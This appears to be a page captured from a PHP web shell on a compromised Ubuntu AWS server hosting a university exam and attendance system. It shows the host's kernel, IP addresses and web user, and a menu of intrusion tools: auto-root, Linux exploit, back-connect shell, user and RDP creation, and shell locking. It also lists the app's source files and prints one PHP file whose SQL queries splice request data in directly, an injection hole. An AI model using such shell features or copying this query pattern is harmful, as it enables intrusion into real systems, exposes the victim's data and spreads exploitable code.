Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.103.119
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
CIEAttendanceNotEligible.php
3.28
KB
-rw-rw-r--
CIEpendingList.php
5.85
KB
-rw-rw-r--
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
DisplayPrintApplication_ru.php
65.63
KB
-rw-rw-r--
ECHblk.php
14.61
KB
-rwxr-xr-x
ECHblk_15042021.php
11.68
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
30.6
KB
-rw-rw-r--
MarkEntry-Setup_bf_gcg.php
22.89
KB
-rwxr-xr-x
MarkEntry-Setupx.php
30.61
KB
-rwxr-xr-x
SelectSubjType.php
3.05
KB
-rw-rw-r--
SubjectType.php
3.62
KB
-rw-rw-r--
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
UpdateCollDet.php
2.03
KB
-rwxr-xr-x
absentAndMalReportPdf.php
8.25
KB
-rw-rw-r--
absentEntryYearModewise.php
991
B
-rw-rw-r--
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
11.36
KB
-rwxr-xr-x
ack_adm_application.php
103.36
KB
-rwxr-xr-x
ack_adm_application.php.orig
58.73
KB
-rwxr-xr-x
ack_admentry_application.php
59.63
KB
-rwxr-xr-x
ack_exam_app_form.php
20.27
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12.71
KB
-rwxr-xr-x
ack_report.php
3.69
KB
-rwxr-xr-x
ack_rv_rt_application.php
9.34
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
adm_delete_data.php
5.58
KB
-rwxr-xr-x
admapprove.php
10.33
KB
-rwxr-xr-x
admapprove_kus.php
9.28
KB
-rwxr-xr-x
admissionHallTicket.php
4.43
KB
-rw-r--r--
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admissionapplist.php
5.06
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxr-xr-x
admstuddate.php
6.06
KB
-rwxr-xr-x
admuploadexsheet.php
20.48
KB
-rwxr-xr-x
affliation_fee.php
5.04
KB
-rwxrwxrwx
approve.php
41.53
KB
-rwxr-xr-x
approve_kus.php
24.12
KB
-rwxr-xr-x
assignUserMenu.php
13.66
KB
-rw-rw-r--
attCisshortList_sjbit.php
11.91
KB
-rw-r--r--
attEntTeachWise.php
2.07
KB
-rw-rw-r--
attEntryDaywise.php
26.9
KB
-rw-rw-r--
attTeachSum.php
3.63
KB
-rw-r--r--
attendEntry.php
5.32
KB
-rw-rw-r--
attendance.php
17.09
KB
-rwxr-xr-x
attendanceReportForm.php
6.36
KB
-rw-rw-r--
attendance_freez.php
8.51
KB
-rwxr-xr-x
attendance_freez_mth.php
8.24
KB
-rwxr-xr-x
attendanceentrydaywise.php
11.36
KB
-rw-r--r--
attendenceshort.php
7.58
KB
-rw-rw-r--
attshort.php
6.29
KB
-rwxr-xr-x
atttechblp.php
2.48
KB
-rw-r--r--
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
4.12
KB
-rwxr-xr-x
backup_1.php
7.85
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
backupold.php
2.73
KB
-rwxr-xr-x
bill_details.php
14.21
KB
-rw-rw-r--
board.php
4
KB
-rwxr-xr-x
bundle_dispatch.php
3.2
KB
-rwxr-xr-x
bundle_rec_ack.php
4.67
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.28
KB
-rwxr-xr-x
candidate-entry.php
50.68
KB
-rwxr-xr-x
cappcontext.php
2.71
KB
-rwxr-xr-x
challan_entries.php
15.05
KB
-rwxr-xr-x
challan_preparation.php
11.29
KB
-rwxr-xr-x
changeDegree.php
1.56
KB
-rwxr-xr-x
changeMobile.php
2.13
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
cntDeclaration.php
4.23
KB
-rwxr-xr-x
coll_exam_app_form.php
3.29
KB
-rwxr-xr-x
collbankdet.php
1.9
KB
-rwxr-xr-x
colldesp_ack.php
4.03
KB
-rw-rw-r--
college.php
5.39
KB
-rwxr-xr-x
college_approve.php
5.59
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
collegewisedownload.php
9.46
KB
-rw-rw-r--
colltransfer.php
6.83
KB
-rw-rw-r--
connect.php
2.58
KB
-rwxr-xr-x
convdet.php
8.02
KB
-rwxr-xr-x
convo.php
8.14
KB
-rw-rw-r--
copoMarksList.php
1.27
KB
-rw-rw-r--
copomarksentry.php
10.46
KB
-rw-r--r--
copomarksexternal.php
23.05
KB
-rw-r--r--
coporeport.php
4.56
KB
-rw-r--r--
courserep.php
1.68
KB
-rw-r--r--
coutput.php
1.84
KB
-rwxr-xr-x
createAdmission.php
14.91
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
createattclass.php
6.99
KB
-rw-rw-r--
createclassattend.php
22.03
KB
-rw-r--r--
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
548
B
-rwxr-xr-x
cuser.php
3.53
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
6.67
KB
-rwxr-xr-x
degree.php
8.28
KB
-rwxr-xr-x
degree_SujectReport.php
893
B
-rw-rw-r--
degstudymat.php
6.51
KB
-rwxr-xr-x
degstudymatdet.php
6.27
KB
-rwxr-xr-x
degwiseIAreport.php
2.95
KB
-rw-rw-r--
display_details_in_grid.php
107.2
KB
-rw-rw-r--
display_details_in_grid_bf_231...
111.76
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.72
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
doc_verify.php
7.52
KB
-rwxr-xr-x
download_misc_files.php
5.19
KB
-rwxr-xr-x
download_misc_files_bcu_comm.p...
4.19
KB
-rwxr-xr-x
download_photo.php
35.98
KB
-rwxr-xr-x
download_photo_pgadm_photos.ph...
4.73
KB
-rw-rw-r--
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
editstddet.php
7.01
KB
-rw-rw-r--
enableStudReg.php
7.65
KB
-rwxr-xr-x
entregupd.php
1.91
KB
-rw-rw-r--
entryexitevents.php
3.09
KB
-rwxr-xr-x
error_log.php
749
B
-rwxr-xr-x
examappfeereport.php
2.12
KB
-rw-rw-r--
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
feepaidreports.php
2.77
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
10.48
KB
-rwxr-xr-x
freeze_module_at_admin_college...
9.35
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
freezeiaprici.php
10.87
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getDegreeAndSem.php
4.32
KB
-rw-rw-r--
getMessages.php
11.39
KB
-rwxr-xr-x
getTestTotalMarksReport.php
11.96
KB
-rw-rw-r--
getdata.php
39.06
KB
-rwxrwxrwx
getdataold.php
29.62
KB
-rwxr-xr-x
getfeeinformation.php
7.26
KB
-rwxr-xr-x
getmoduledetails.php
23.77
KB
-rwxr-xr-x
getnumword.php
7.45
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
htblk.php
6.13
KB
-rwxr-xr-x
ia_room_allotment_datewise.php
12.13
KB
-rwxr-xr-x
iaabsententry.php
3.1
KB
-rw-r--r--
iamarks.php
7.68
KB
-rw-r--r--
iaroomdeclaration.php
2.6
KB
-rwxr-xr-x
iasectionwise.php
30.09
KB
-rw-r--r--
iasectionwisenew.php
35.77
KB
-rw-r--r--
iatimetable.php
7.61
KB
-rw-r--r--
identifyCoMarksNew.php
2.6
KB
-rw-rw-r--
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
invigilatorDairyRoomWise.php
6.07
KB
-rw-rw-r--
json.php
34.52
KB
-rwxr-xr-x
lateralentry.php
2.39
KB
-rwxr-xr-x
login.php
8.88
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
marksEntryExt.php
9.11
KB
-rwxr-xr-x
marksentryext.php
13.1
KB
-rw-rw-r--
marksentryquestionwise.php
41.93
KB
-rw-rw-r--
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
1.68
KB
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
155.51
KB
-rwxr-xr-x
mregistry18.06.2021.php
99.46
KB
-rwxr-xr-x
mregistry_14092024.php
150.27
KB
-rw-rw-r--
mrn_approval.php
9
KB
-rwxr-xr-x
oldqnpaper.php
4.44
KB
-rw-rw-r--
pendingcie.php
4.21
KB
-rw-rw-r--
picharttesting.php
24.76
KB
-rw-r--r--
pmarks.php
5.97
KB
-rw-rw-r--
post.php
6
KB
-rwxr-xr-x
practicalMarks.php
8.67
KB
-rw-rw-r--
prbillreport.php
5.07
KB
-rw-r--r--
prientCodeStikers.php
6.35
KB
-rw-r--r--
principalFreeze.php
6.92
KB
-rw-rw-r--
principalfreezingsubject.php
1.9
KB
-rw-rw-r--
printAdmRegn.php
13.13
KB
-rwxr-xr-x
printApp_ru.php
1.12
KB
-rw-rw-r--
printMarkListDetailsWisenew_sj...
14.42
KB
-rw-r--r--
qnwiseMarksStats.php
6.14
KB
-rw-rw-r--
qnwisemarksentrynew.php
18.61
KB
-rw-rw-r--
qpSummaryReport.php
1.03
KB
-rw-rw-r--
receive_rv_rt_application.php
8.33
KB
-rwxr-xr-x
receive_teach_trans.php
2.49
KB
-rw-rw-r--
receive_teach_transfer.js
5.06
KB
-rw-rw-r--
remunerationEntry.php
7.14
KB
-rw-rw-r--
repeateriamarksentry.php
4.86
KB
-rw-rw-r--
report_bulk_applications.php
19.42
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
22.93
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.54
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
resetPasswordUser.php
2.69
KB
-rw-rw-r--
result.php
5.06
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment.php
9.14
KB
-rwxr-xr-x
room_allotment_datewise.php
26.07
KB
-rwxr-xr-x
room_allotment_datewise_bf_rcu...
16.97
KB
-rwxr-xr-x
room_allotment_datewise_stph.p...
21.57
KB
-rwxr-xr-x
room_allotment_datewise_stph_n...
29.01
KB
-rwxr-xr-x
room_allotment_shifiting.php
3.34
KB
-rwxr-xr-x
roomallotmentExcel.php
8.23
KB
-rw-rw-r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomallotmentqpwisenew.php
13.92
KB
-rw-rw-r--
roomcreationnew.php
2.81
KB
-rw-rw-r--
roomdeclaration.php
2.2
KB
-rwxr-xr-x
roomdeclaration_stph.php
2.51
KB
-rwxr-xr-x
roomwiseinvigilatorsEntry.php
9.86
KB
-rw-rw-r--
rvdates.php
6.46
KB
-rw-rw-r--
rvrt_ack_exam_app.php
6
KB
-rw-rw-r--
rvrt_report.php
1.92
KB
-rw-rw-r--
savePassword.php
1.14
KB
-rw-rw-r--
saveclsdets.php
1.91
KB
-rw-rw-r--
savesspdetails.php
9.93
KB
-rw-rw-r--
sectionwisepermission.php
5.67
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
sendsmsapi.php
814
B
-rwxr-xr-x
sendusrandpws.php
1002
B
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
shortLists.php
1.65
KB
-rw-rw-r--
std_register_det.php
3.56
KB
-rw-rw-r--
stringspliter.php
693
B
-rwxr-xr-x
studSubIdent.php
11.23
KB
-rw-r--r--
stud_name_doc_upload.php
1.24
KB
-rw-rw-r--
stud_wise_report.php
3.02
KB
-rw-rw-r--
student.php
58.23
KB
-rwxr-xr-x
student_entry.php
61.39
KB
-rwxr-xr-x
student_entry_kswu.php
51.23
KB
-rwxr-xr-x
student_entry_nitte.php
88.09
KB
-rw-rw-r--
student_entry_rur.php
74.42
KB
-rw-rw-r--
student_entry_vku.php
66.58
KB
-rwxr-xr-x
student_rur.php
64.37
KB
-rw-rw-r--
student_vku.php
57.95
KB
-rwxr-xr-x
studentfeesandattiashortagedat...
11.38
KB
-rw-rw-r--
studentportal_remove.php
6.18
KB
-rwxr-xr-x
studentreport.php
15.37
KB
-rw-rw-r--
studnamecorr.php
6.69
KB
-rw-rw-r--
subIAMarksEntry.php
11.14
KB
-rw-rw-r--
subblock.php
6.12
KB
-rwxr-xr-x
subdet.php
9.61
KB
-rw-rw-r--
subjReg.php
12.04
KB
-rw-r--r--
subjectList_display.php
11.7
KB
-rwxr-xr-x
subject_freshExam.php
33.18
KB
-rwxr-xr-x
subject_freshExam_rcub.php
28.33
KB
-rwxr-xr-x
subjectfreez.php
13.02
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
12.43
KB
-rwxr-xr-x
subshort.php
8.97
KB
-rw-rw-r--
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
80.41
KB
-rwxr-xr-x
teachFreeze.php
8.17
KB
-rw-r--r--
teachOficerEntry.php
11.46
KB
-rwxr-xr-x
teachers.php
19.76
KB
-rwxr-xr-x
theoryMarksEntry.php
4.89
KB
-rw-rw-r--
thvalmarks.php
2.72
KB
-rw-r--r--
time_table_degreewise.php
5
KB
-rwxrwxrwx
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
4.74
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updatecopo.php
9.34
KB
-rw-r--r--
updatedegreegroup.php
3.21
KB
-rw-rw-r--
updateexamcnt.php
2.92
KB
-rwxr-xr-x
updatefreshexam.php
1.33
KB
-rw-rw-r--
updatestudentsem.php
2.03
KB
-rw-rw-r--
updatetimetable.php
9.14
KB
-rw-r--r--
updateuvcms.php
2.37
KB
-rw-rw-r--
updmarks.php
22.24
KB
-rw-r--r--
updnemp.php
1.78
KB
-rw-r--r--
upload_doc_demo.php
84
B
-rw-rw-r--
upload_studentPhoto.php
10.81
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadcopo.php
7.89
KB
-rw-r--r--
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
uploadteacherattendance.php
5.23
KB
-rw-r--r--
userpasswordreset.php
754
B
-rw-rw-r--
usersetup.php
24.46
KB
-rwxr-xr-x
usersetupNew.php
12.76
KB
-rw-r--r--
usersubj_identification.php
5.15
KB
-rwxr-xr-x
viewNotifications.php
1.21
KB
-rw-rw-r--
view_ledger.php
3.64
KB
-rwxrwxrwx
yearmode.php
1.83
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : attEntryDaywise.php
<?php function loaddayteachname($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $collcode = $aobj_context->mobj_data["collcode"]; $funivcode = $aobj_context->mobj_data['univcode']; $usertype = $aobj_context->mobj_data['usertype']; $usr = $aobj_context->mobj_data['user']; $cnd = ''; if($usertype == "T") { $cnd = "and m.fteachcode = '{$usr}'"; } if($funivcode == "097"){ $cnd1="order by fteachname"; }else{ $cnd1=""; } $query = "select distinct ifnull(at.fteachcode,'') as `key`, ifnull(at.fteachcode,'') as `value`, CONCAT(ifnull(m.FTEACHNAME,''),'[',ifnull(at.fteachcode,''),']') as label from attclass at inner join masteach m on at.fteachcode = m.fteachcode where at.fcollcode = '{$collcode}' {$cnd} {$cnd1}"; $result = $aobj_context->mobj_db->GetAll($query); if($result) { echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); } else { $data['msg'] = 'Faile to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); } } function loadclassnameday($aobj_context) { $collcode = $aobj_context->mobj_data['collcode']; $usertype =$aobj_context->mobj_data['usertype']; $usr = $aobj_context->mobj_data['user']; $teachcode = $aobj_context->mobj_data["teachcode"]; $cnd = ''; if($usertype == 'T') { $cnd = "and fteachcode = '{$usr}'"; } $query=" select ifnull(fclassid,'') as `key`, ifnull(fclassid,'') as `value`, CONCAT(ifnull(fclassname,''),'[',ifnull(fclassid,''),']') as label from attclass where fteachcode = '{$teachcode}' and fcollcode = '{$collcode}' and ifnull(fdeleted,'') <> 'T'{$cnd}"; $result = $aobj_context->mobj_db->GetAll($query); if($result) { echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); } else { $data['msg'] = 'Faile to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); } } function viewattendanceentry($aobj_context){ $fclassid = $aobj_context->mobj_data["cls"]; $period = $aobj_context->mobj_data["period"]; $noofclass = $aobj_context->mobj_data["noofcls"]; $date = $aobj_context->mobj_data["dates"]; $collcode = $aobj_context->mobj_data['collcode']; $fsort = $aobj_context->mobj_data["sort"]; $query = "select * from attclass where fclassid = '{$fclassid}' and ifnull(fblock,'') = 'T'"; $res1 = $aobj_context->mobj_db->GetRow($query); if($res1) { $data="Attendace Entry Bloked Contact Admin. Reason: ".$res1['fblockremarks']; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; }else { } if($fsort == "fname"){ $cond = "s.fname"; }elseif($fsort == "fregno"){ $cond = "a.fregno"; } $query = "select ifnull(a.FDEGREE,'') as fdegree, ifnull(a.FEXAMNO,'') as fexamno,ifnull(a.fregno,'') as fregno,ifnull(s.FNAME,'') as fname, ifnull(ad.FPRESENT,'') as fpresent from attendsum a inner join student s on s.FREGNO = a.FREGNO and s.fcollcode = a.fcollcode and s.fdegree = a.fdegree left join attend_det ad on ad.fregno = a.fregno and ad.FSUBCODE = a.FSUBCODE and ad.FCLASSID = a.FCLASSID and ad.fdegree = a.fdegree and ad.fexamno = a.fexamno and ad.fcollcode = a.fcollcode and ad.FDATE = '{$date}' and ad.FPERIOD = '{$period}' and ad.FNOCLASS = '{$noofclass}' and ad.FCOLLCODE = '{$collcode}' where a.fclassid = '{$fclassid}' group by fregno order by $cond"; $lobj_get_data = $aobj_context->mobj_db->GetAll($query); if($lobj_get_data) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_data,0,"success"); return; } else { $data="not found"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } } function saveattendanceentry($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $fclassid = $aobj_context->mobj_data["cls"]; $period = $aobj_context->mobj_data["period"]; $syllabus = $aobj_context->mobj_data["syllabus"]; $noofclass = $aobj_context->mobj_data["noofcls"]; $date = $aobj_context->mobj_data["dates"]; $collcode = $aobj_context->mobj_data['collcode']; $univcode = $aobj_context->mobj_data['univcode']; $usr = $aobj_context->mobj_data['usr']; $sort = $aobj_context->mobj_data['sort']; $teach = $aobj_context->mobj_data['teach']; $data = $aobj_context->mobj_data["data"]; $array = json_decode($data,true); $query = "select fblock, ifnull(fblockremarks, '')as fremarks from attclass where fteachcode='{$teach}' and fcollcode='{$collcode}' and fclassid='{$fclassid}'"; $blkres = $aobj_context->mobj_db->GetRow($query); if($blkres['fblock']=='T'){ if($blkres['fremarks'] == ''||$blkres['fremarks']=='null'){ $arr['msg'] = "Blocked"; }else{ $arr['msg'] = $blkres['fremarks']; } echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); return; } foreach($array as $key => $value){ $reg = $value['fregno']; $str = "ATTENDANCE ENTRY DAYWISE: USER : $usr, COLLCODE: $collcode, REGNO : $reg, CLASSID : $fclassid, DATE : $date"; $remark = $str; $enttype = "ATTCD"; $query = "INSERT INTO attend_det (FCOLLCODE, FDEGREE, FEXAMNO, FSUBCODE, FREGNO, FDATE, FPERIOD, FNOCLASS, FPRESENT,FCLASSID,FUPDUSER,FCREATEDATE,fsyllabus,FTEACHCODE,FSECTION) select s.fcollcode,s.fdegree,a.fexamno,a.fsubcode,s.fregno,'{$date}','{$period}','{$noofclass}','{$value['fpresent']}','{$fclassid}','{$usr}',NOW(),'{$syllabus}',a.fteachcode,a.FSECTION from student s inner join attendsum a on s.fcollcode = a.fcollcode and s.fdegree = a.fdegree where a.fclassid = '{$fclassid}' and a.fclassid = '{$fclassid}' and s.fregno = '{$value['fregno']}' on DUPLICATE KEY UPDATE FPRESENT = '{$value['fpresent']}', FNOCLASS='{$noofclass}', FUPDDATE = NOW()"; $lobj_get_data = $aobj_context->mobj_db->Execute($query); } if($lobj_get_data) { $arr['msg'] = "Saved Successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } else { $arr['msg']="Failed to Save"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); return; } } function viewDeleteAddStudDet($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $teachfrom = $aobj_context->mobj_data["fromteach"]; $teachto = $aobj_context->mobj_data["toteach"]; if($teachfrom==""){ $fromteach='0'; }else{ $fromteach=$teachfrom; } if($teachto==""){ $toteach='z'; }else{ $toteach=$teachto; } $usertype = $aobj_context->mobj_data['usertype']; $usr = $aobj_context->mobj_data['user']; $college_code = $aobj_context->mobj_data['collcode']; $cnd = ''; if($usertype== 'T') { $cnd = "and at.fteachcode = '{$usr}'"; } $query = "select concat(at.fteachcode,' - ',m.FTEACHNAME) as fteach, ifnull(ad.fclassid,'') as fclassid,ifnull(at.fclassname,'') as fclassname,ifnull(at.fteachcode,'') as fteachcode, ifnull(m.FTEACHNAME,'') as fteachname, ifnull(ad.fperiod,'') as fperiod,ifnull(ad.fnoclass,'') as fnoclass,ifnull(fdate,'') as fdate, sum(if(ad.fpresent = 'P','1',0)) as pcnt,sum(if(ad.fpresent = 'A','1',0)) as acnt from attend_det ad inner join attclass at on at.fclassid = ad.fclassid inner join masteach m on m.FTEACHCODE = at.fteachcode where ad.fcollcode = '{$college_code}' $cnd and at.fteachcode between '{$fromteach}' and '{$toteach}' group by ad.FDATE,ad.fclassid,ad.FPERIOD,ad.FNOCLASS order by at.fteachcode,ad.FDATE"; $lobj_get_data = $aobj_context->mobj_db->GetAll($query); if($lobj_get_data) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_data,0,"success"); return; } else { $data="not found"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } } function deleteAddstudentry($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $fclassid = $aobj_context->mobj_data["clsid"]; $fperiod = $aobj_context->mobj_data["period"]; $fnoclass = $aobj_context->mobj_data["noofcls"]; $fdate = $aobj_context->mobj_data["date"]; $collcode = $aobj_context->mobj_data["collcode"]; $query = "delete from attend_det where FPERIOD = '{$fperiod}' and FNOCLASS = '{$fnoclass}' and FCLASSID = '{$fclassid}' and fdate = date_format(str_to_date('{$fdate}','%d-%m-%Y'),'%Y-%m-%d') and fcollcode='{$collcode}'"; var_dump($query);die(); $lobj_get_data = $aobj_context->mobj_db->Execute($query); if($lobj_get_data) { $data="Successfully Deleted"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); return; } else { $data="not found"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } } function modifyAddstudentry($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $fteachcode = $aobj_context->mobj_data["teachcode"]; $fclassid = $aobj_context->mobj_data["clsid"]; $fperiod = $aobj_context->mobj_data["period"]; $fnoclass = $aobj_context->mobj_data["noofcls"]; $fdate = $aobj_context->mobj_data["date"]; $collcode = $aobj_context->mobj_data["collcode"]; $query = "select ifnull(a.FDEGREE,'') as fdegree, ifnull(a.FEXAMNO,'') as fexamno,ifnull(a.fregno,'') as fregno, ifnull(s.FNAME,'') as fname, ifnull(ad.FPRESENT,'') as fpresent, ifnull(ad.fsyllabus,'') as fsyllabus from attendsum a inner join student s on s.FREGNO = a.FREGNO and s.fcollcode = a.fcollcode and s.fdegree = a.fdegree left join attend_det ad on ad.fregno = a.fregno and ad.FSUBCODE = a.FSUBCODE and ad.FCLASSID = a.FCLASSID and ad.fdegree = a.fdegree and ad.fexamno = a.fexamno and ad.fcollcode = a.fcollcode and ad.FDATE = date_format(str_to_date('{$fdate}','%d/%m/%Y'),'%Y-%m-%d') and ad.FPERIOD = '{$fperiod}' and ad.FNOCLASS = '{$fnoclass}' and ad.FCOLLCODE = '{$collcode}' where a.fclassid = '{$fclassid}' order by a.fregno,s.fname"; $lobj_get_data = $aobj_context->mobj_db->GetAll($query); if($lobj_get_data) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_data,0,"success"); return; } else { $data="not found"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } } // function loadssubcreateclass($aobj_context) // { // $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); // $degreecode = $aobj_context->mobj_data["degree"]; // $sem = $aobj_context->mobj_data["sem"]; // $collcode = $_SESSION['collcode']; // $univcode = $_SESSION['FUNIVCODE']; // $fild = "concat(ifnull(s.FSUBNAME,''),' (',fsubshort, ')', ' - ', fssubname) as fsubname"; // if($univcode == '052') // $fild = "concat(ifnull(s.FSUBNAME,''),' - ',s.fsubshort) as fsubname"; // if($univcode == '052') // { // $query = "select ifnull(s.FCSUBCODE,'') as fsubcode, // {$fild} // from subject s // inner join student a on s.FDEGREE = a.FDEGREE // inner join subdet su on s.fdegree = su.fdegree and // s.fexamno = su.fexamno and s.fsubcode = left(su.fcsubcode,4) // where s.FDEGREE = '{$degreecode}' and s.FEXAMNO = '{$sem}' // group by s.FSUBCODE"; // #and s.fretain = 'F' // #and ifnull(s.fsuspend, '')<> 'T' // #group by s.FSUBCODE // }else if($univcode == '055') // { // $query = "select ifnull(s.FCSUBCODE,'') as fsubcode, // concat(s.fsubshort,' - ',ifnull(s.FSUBNAME,''),' - ',fssubname) as fsubname // from subject s // inner join student a on s.FDEGREE = a.FDEGREE // where s.FDEGREE = '{$degreecode}' and s.FEXAMNO = '{$sem}' // #and s.fretain = 'F' // and ifnull(s.fsuspend, '')<> 'T' // group by s.FSUBCODE"; // } // else // { // $query = "select ifnull(s.FCSUBCODE,'') as fsubcode, // {$fild} // from subject s // inner join student a on s.FDEGREE = a.FDEGREE // where s.FDEGREE = '{$degreecode}' and s.FEXAMNO = '{$sem}' // #and s.fretain = 'F' // and ifnull(s.fsuspend, '')<> 'T' // group by s.FSUBCODE"; // } // // var_dump($query);die(); // $result = $aobj_context->mobj_db->GetAll($query); // if($univcode == "052"){ // $cnd = "ifnull(fsectionnew,'') as fsection"; // $cnd1 = ""; // }else{ // $cnd = "ifnull(FSECTION,'') as fsection"; // $cnd1 = "and ifnull(FSECTION,'') <> ''"; // } // $query1 = "select distinct {$cnd} // from student // where fcollcode = '{$collcode}' and FDEGREE = '{$degreecode}' {$cnd1}"; // $result1 = $aobj_context->mobj_db->GetAll($query1); // if($result) // { // $arr['sub'] = $result; // $arr['sec'] = $result1; // echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); // } // else // { // $data['msg'] = 'Faile to load'; // echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); // } // } // function loadteachercreateclass($aobj_context) // { // $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); // $collcode = $_SESSION['collcode']; // $query = "select ifnull(FTEACHCODE,'') as fteachcode,ifnull(FTEACHNAME,'') as fteachname // from masteach // where fcollcode = '{$collcode}'"; // $result = 